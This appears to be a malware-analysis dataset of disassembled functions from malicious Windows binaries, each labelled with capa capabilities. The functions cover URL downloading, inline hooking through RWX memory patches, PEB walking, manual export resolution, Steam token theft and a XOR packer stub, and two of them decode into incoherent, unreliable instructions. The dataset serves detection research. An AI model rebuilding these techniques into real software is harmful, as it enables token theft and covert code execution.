joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20002e1f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
and dword [ebp - 4], 0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x104
mov dword [ebp - 0x10], 0x78687171
mov dword [ebp - 0xc], 0x2e676663
mov dword [ebp - 8], 0x746164
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1a0]
push eax
call sub.MSVCRT.dll_strcat
push 0x8c
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.MSVCRT.dll_strncpy]
push 8
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call esi
push 0x80
lea eax, [ebp - 0x9c]
push dword [ebp + 0xc]
push eax
call esi
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.2000335c
add esp, 0x34
pop esi
leave
ret

Function at 0x20002ed1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 4], 0
push esi
push dword [ebp + 8]
mov esi, 0x20006490
mov dword [ebp - 0x14], 0x613f7325
mov dword [ebp - 0x10], 0x7526353d
push esi
mov dword [ebp - 0xc], 0x2673253d
mov dword [ebp - 8], 0x73253d76
call sub.MSVCRT.dll_strcpy
push esi
push 0x20006020
call fcn.20002e1f
add esp, 0x10
cmp dword [0x20006590], 0
je 0x20002f8e
push 0x20006010
call fcn.200042ff
push eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x214]
add esp, 0xc
test eax, eax
je 0x20002f8e
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20002f8e
push esi
lea eax, [ebp - 0x214]
push 0x20006468
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x214]
push eax
call fcn.20003959
add esp, 0x18
test eax, eax
je 0x20002f8e
push eax
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop esi
leave
ret 4

Function at 0x20002fb8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 1
call fcn.200022a9
test eax, eax
pop ecx
je 0x20002ff3
and dword [ebp - 4], 0
lea ecx, [ebp - 0xc]
push ecx
push eax
mov dword [ebp - 0xc], 0x32423141
mov dword [ebp - 8], 0x3343
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x20002ff3
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.20002580
push 0x20006468
push 0x2000602c
call fcn.20002e1f
push 0x20006350
push 0x20006028
call fcn.20002e1f
add esp, 0x10
leave
ret
Function at 0x2000335c
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.200032b8
pop ecx
test eax, eax
pop ecx
je 0x20003380
push 1
pop eax
jmp 0x200034b9
xor edi, edi
push edi
push edi
push 4
push edi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp + 8], ebx
jne 0x200033a8
xor eax, eax
jmp 0x200034b9
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push edi
push 0xfffffffffffffffc
push ebx
call esi
lea eax, [ebp - 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push eax
lea eax, [ebp - 0xc]
push 4
push eax
push ebx
call edi
cmp dword [ebp - 0xc], 0x8000002
push 2
mov ebx, 0x8c
push 0
jne 0x20003405
push 0xfffffffffffffff8
push dword [ebp + 8]
call esi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 8]
push 4
push eax
push dword [ebp + 8]
call edi
add dword [ebp - 8], ebx
push 2
push 0
push 0xfffffffffffffff8
push dword [ebp + 8]
call esi
jmp 0x20003413
push 0
push dword [ebp + 8]
call esi
mov dword [ebp - 8], 0x94
mov esi, dword [ebp + 0xc]
push 0x23
pop ecx
lea edi, [ebp - 0x98]
lea eax, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push 0x7f
pop ecx
sub ecx, eax
lea eax, [ebp - 0x98]
push ecx
push fcn.2000335c
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x97]
push eax
call sub.MSVCRT.dll_memcpy
mov esi, 0x20006038
push esi
call sub.MSVCRT.dll_strlen
push eax
push esi
lea eax, [ebp - 0x98]
push ebx
push eax
call fcn.200036f1
add esp, 0x20
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor edi, edi
lea eax, [ebp - 4]
push edi
push eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x98]
push eax
push ebx
call esi
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call esi
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 0xc]
push 4
push eax
push ebx
mov dword [ebp - 0xc], 0x8000002
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
pop edi
pop ebx
leave
ret
Function at 0x200034bd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x20005128
push 0x20004490
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x20003572
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20003581
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x20005138
push 0x20004490
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov ebx, dword [ebp + 0x10]
push ebx
mov esi, dword [ebp + 8]
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebx - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ebx
push esi
call edi
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x20003605
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20003689
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, edi
nop
mov edi, edi
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
nop
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
nop
mov edx, dword [ebp + 8]
xor eax, eax
pop edi
pop esi
test edx, edx
jne 0x200036d8
pop ebp
ret
cmp word [edx], 0x5a4d
jne 0x200036ef
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x200036ef
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x20003959
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
mov edi, edi
nop
mov edi, edi
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
nop
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
nop
xor edi, edi
mov esi, 0x200
push edi
push edi
push edi
push edi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, edi
mov dword [ebp - 0xc], eax
je 0x20003a7c
push edi
push 0x84000000
push edi
push edi
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, edi
mov dword [ebp + 8], eax
je 0x20003a6e
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20c]
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x20003a5e
mov eax, dword [ebp - 4]
test eax, eax
jbe 0x20003a5a
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x20003a28
add dword [ebp - 8], esi
push dword [ebp - 8]
push ebx
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
test eax, eax
pop ecx
je 0x20003a5a
mov ebx, eax
push dword [ebp - 4]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebx + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x20c]
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x20003a05
test edi, edi
ja 0x20003a68
push ebx
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x20003a71
and byte [ebx + edi], 0
jmp 0x20003a71
mov ebx, dword [ebp + 8]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x20003a7f
mov ebx, dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, ebx
pop ebx
leave
ret
Function at 0x20003a95
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, edi
nop
mov edi, edi
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
nop
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
nop
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push 0x200065ac
push 0
mov dword [0x2000659c], eax
call ebx
cmp dword [ebp + 0xc], 0
je 0x20003c3d
cmp dword [ebp + 0xc], 1
jne 0x20003c3d
mov edi, edi
nop
mov edi, edi
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
nop
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
nop
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, edi
nop
mov edi, edi
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
nop
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
nop
lea eax, [ebp - 0x104]
push 0x104
push eax
push dword [0x2000659c]
call ebx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, edi
nop
mov edi, edi
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
nop
mov eax, eax
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
mov edi, edi
nop
nop
nop
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
mov edi, edi
nop
mov esi, esi
nop
nop
mov eax, eax
nop
lea eax, [ebp + 0xc]
push eax
mov eax, dword [0x2000659c]
push 4
add eax, 0x30
push 4
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x2000659c]
mov dword [eax + 0x30], 0x20003c47
cmp dword [0x20006048], 0
je 0x20003c3d
mov eax, 0x20006048
mov edi, eax
mov esi, eax
push 0x200065ac
call fcn.20003614
push eax
call dword [edi]
pop ecx
test eax, eax
pop ecx
jne 0x20003c3d
add esi, 4
mov edi, esi
cmp dword [esi], eax
jne 0x20003c21
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x705f00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x705f2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x705f2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4059f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426d76
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x45190c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov eax, dword [ebp + 0x10]
mov dword [ebx], 0x428da8
mov dword [ebx + 4], edx
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], edx
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x14], edx
mov dword [ebx + 0x18], edx
mov dword [ebx + 0x1c], edx
mov dword [ebx + 0x20], edx
mov dword [ebx + 0x24], edx
mov dword [ebx + 0x28], edx
or dword [ebx + 0x2c], 0xffffffff
mov dword [ebx + 0x30], edx
mov dword [ebx + 0x34], edx
mov dword [ebx + 0x38], edx
mov dword [ebx + 0x3c], edx
mov dword [ebx + 0x40], edx
mov dword [ebx + 0x44], edx
mov dword [ebx + 0x48], edx
mov dword [ebx + 0x4c], edx
mov dword [ebx + 0x50], eax
mov eax, dword [ebp + 8]
mov dword [ebx + 0x5c], eax
mov dword [ebx + 0x60], ecx
mov eax, dword [ecx + 4]
and dword [ebx + 0x8c], 0xffffffc0
and byte [ebx + 0x91], 0x80
or dword [ebx + 0x94], 0xffffffff
or dword [ebx + 0x98], 0xffffffff
mov dword [ebx + 0x64], eax
xor eax, eax
inc eax
mov dword [ebx + 0x68], edx
mov dword [ebx + 0x6c], edx
mov dword [ebx + 0x70], edx
mov dword [ebx + 0x74], edx
mov byte [ebx + 0x90], 0x4f
mov dword [ebx + 0x9c], eax
mov dword [ebx + 0xa0], eax
mov dword [ebx + 0xa4], edx
mov dword [ebx + 0xa8], edx
mov ecx, dword [ecx + 4]
test ecx, ecx
je 0x405acb
mov eax, dword [ecx + 0x24]
mov dword [ebx + 0x78], eax
mov dword [ecx + 0x24], ebx
mov eax, dword [ebx + 0x5c]
lea edi, [ebx + 0x58]
push 1
push edx
push edi
mov dword [eax + 4], ebx
lea esi, [ebx + 0x54]
mov ecx, dword [ebx + 0x60]
push esi
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
push 4
push dword [esi]
mov esi, dword [0x4280f8]
push 6
call esi
push 8
push dword [edi]
mov dword [ebx + 0x7c], eax
push 2
call esi
mov ecx, dword [ebx + 0x7c]
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x88], eax
mov eax, ebx
mov dword [ebx + 0x84], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10e6530
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x10e6553
mov eax, 1
jmp 0x10e665e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x10e6569
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0x10e6573
mov eax, 2
jmp 0x10e665e
mov edx, dword [ebp + 0x10]
push edx
push 0xf8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x10e659e
mov eax, 1
jmp 0x10e665e
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0x10e65c4
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0x10e65c4
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0x10e65ce
mov eax, 2
jmp 0x10e665e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.010f8a10
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0x10e660f
mov eax, 3
jmp 0x10e665e
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x10e665c
mov eax, 1
jmp 0x10e665e
xor eax, eax
pop ebp
ret

Function at 0x10e7000
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x10e7016
xor eax, eax
jmp 0x10e7056
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0x10e703b
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0x10e703f
xor eax, eax
jmp 0x10e7056
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x78]
push ecx
call fcn.010e7060
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x10f70d0
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push 0x64000
nop
call 0x74efb100
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x11005bd
lea ecx, [ebp - 0x1c]
call fcn.010fa740
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call 0x400d23
nop
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10f7148
mov dword [ebp - 0x45c], 0x11005be
lea ecx, [ebp - 0x1c]
call fcn.010fa800
mov eax, dword [ebp - 0x45c]
jmp 0x10f72df
mov edx, 1
test edx, edx
je 0x10f72ae
mov byte [ebp - 0x438], 0
push 0x207
push 0
lea eax, [ebp - 0x437]
push eax
call fcn.010faae0
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0xfff
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x1100ba8
mov edx, dword [ebp - 4]
push edx
call fcn.010f6f00
add esp, 0x20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, 0x208
mov ecx, dword [ebp - 0x24]
adc ecx, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x24], 0
ja 0x10f71ca
jb 0x10f71c5
cmp dword [ebp - 0x28], 0
ja 0x10f71ca
jmp 0x10f72ae
cmp dword [ebp - 0x24], 0
ja 0x10f71d9
cmp dword [ebp - 0x28], 0xffff
jbe 0x10f71f5
push 0
push 0x208
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call 0x400dd3
nop
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1c]
call fcn.010fa820
lea ecx, [ebp - 0x1c]
call fcn.010faad0
push eax
call dword [fcn.0132a784]
cmp eax, 0x12c
jle 0x10f72a9
lea ecx, [ebp - 0x1c]
call fcn.010faad0
push eax
lea ecx, [ebp - 0x478]
call fcn.010f7320
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.010f6b60
add esp, 8
lea ecx, [ebp - 0x478]
call fcn.010e8060
lea ecx, [ebp - 0x454]
call fcn.010f7380
movzx edx, al
test edx, edx
jne 0x10f729e
lea ecx, [ebp - 0x454]
call fcn.010f7360
cmp eax, 0xa
jbe 0x10f729e
lea ecx, [ebp - 0x1c]
call fcn.010faad0
mov dword [ebp - 0x47c], eax
lea ecx, [ebp - 0x454]
call fcn.010e8060
lea ecx, [ebp - 0x1c]
call fcn.010fa800
mov eax, dword [ebp - 0x47c]
jmp 0x10f72df
lea ecx, [ebp - 0x454]
call fcn.010e8060
jmp 0x10f7148
mov eax, dword [ebp - 8]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
push ecx
nop
call 0x74efb0f3
add esp, 4
mov dword [ebp - 0x484], 0x11005bf
lea ecx, [ebp - 0x1c]
call fcn.010fa800
mov eax, dword [ebp - 0x484]
mov esp, ebp
pop ebp
ret

Function at 0x10f9750
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10f9780
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x10f9793
xor eax, eax
jmp 0x10f9851
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x10f97ae
xor eax, eax
jmp 0x10f9851
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x10f97cc
xor eax, eax
jmp 0x10f9851
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x10f980e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x10f984f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.010f8a30
add esp, 8
test eax, eax
jne 0x10f984d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x10f9851
jmp 0x10f9805
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x405890
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
pop edi
mov edi, dword [ebp + 0xc]
xor ebx, ebx
xor edi, ebx
test dword [ebx + 0x74], ebx
mov edx, 0x190c758d
cmp edi, 0xaef2c033
sbb dword [ecx - 0xd3fcc01], eax
scasb al, byte es:[edi]
not ecx
dec ecx
cmp ebx, 0x2a
jge 0x40589c
ror dword [ecx - 0x7d], 1
sti
sub bh, byte [ebp - 0x1a]
sbb al, 0x4c
popfd
enter 0x6034, 0x7e
add al, 0x6a
mov byte [ebx + eax], 0xd1
test edi, edi
jne 0x4058a7
mov eax, dword [ebp + 8]
inc edx
push edx
push eax
call fcn.00404a97
xor byte [ebp + 0xc], 0x33
leave
test esi, esi
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [edx - 0xeb11204], ebx
inc ebp
or al, 0x89
inc ebp
clc
jmp 0x4058af

Function at 0x4065f0
Capabilities:
Encode data using xor

Disassembly:
sbb byte [ebx - 2], 0xff
push dword [ebx]
xchg esi, eax
mov ecx, dword [ebp + 0x14]
mov bh, 0x45
xor edx, dword [esi - 0x48ebb275]
inc ebp
adc byte [ecx + 0x18458b01], cl
cmp eax, edi
je 0x4065ba
inc ecx
xchg ebx, eax
cwde
xor byte [eax], al
add byte [ecx - 0x5d1a0f0], cl
mov dword [eax], edx
pop edi
cli
rcr byte [ebx - 0x75], 0xe5
pop ebp
ret 0x14
push ebp
mov ebp, esp
push ebx
loopne 0x4065d1
mov edi, dword [ebp + 0xc]
test edi, edi
cmp al, byte [0x3a88bf]
add byte [ebx - 0x37749ebb], cl
dec ebx
push eax
push esi
sal dword [ecx + 1], 1
add byte [eax - 0x74eb7675], cl
loop 0x4065b5
add esp, 8
push ebx
pop es
ret
Function at 0x42e005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x41b109e5
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x29077247
nop
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219